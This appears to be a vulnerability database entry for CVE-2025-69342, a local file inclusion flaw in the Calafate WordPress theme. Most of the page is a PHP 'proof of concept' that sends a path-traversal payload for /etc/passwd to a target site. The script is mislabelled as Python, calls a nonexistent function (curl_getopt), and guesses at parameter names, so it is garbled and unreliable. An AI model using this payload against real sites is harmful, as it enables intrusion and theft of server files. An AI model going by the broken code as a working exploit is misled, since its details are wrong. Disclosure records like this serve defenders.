CVE-2025-69342

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in VanKarWai Calafate calafate allows PHP Local File Inclusion.This issue affects Calafate: from n/a through <= 1.7.7.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

VanKarWai Calafate WordPress Theme <= 1.7.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-69342 PoC - VanKarWai Calafate LFI
 * Target: WordPress Calafate Theme <= 1.7.7
 * Type: Local File Inclusion
 * Note: Requires low-privilege access (PR:L)
 */

$target = 'http://target-site.com/wp-content/themes/calafate/';
$payload_file = '../../../../../../etc/passwd';

// Build LFI request
$params = array(
    'file' => $payload_file,  // Common parameter name for LFI
    // 'theme_file' => $payload_file,  // Alternative parameter
    // 'page' => $payload_file,  // Another possible parameter
);

$url = $target . '?' . http_build_query($params);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getopt($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'root:') !== false) {
    echo '[+] LFI Successful! Sensitive data leaked:\n';
    echo $response;
} else {
    echo '[-] LFI Failed or target not vulnerable';
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69342
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69342
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69342/
[4] VulDB https://vuldb.com/cve/CVE-2025-69342
[5] https://patchstack.com/database/Wordpress/Theme/calafate/vulnerability/wordpress-calafate-theme-1-7-7-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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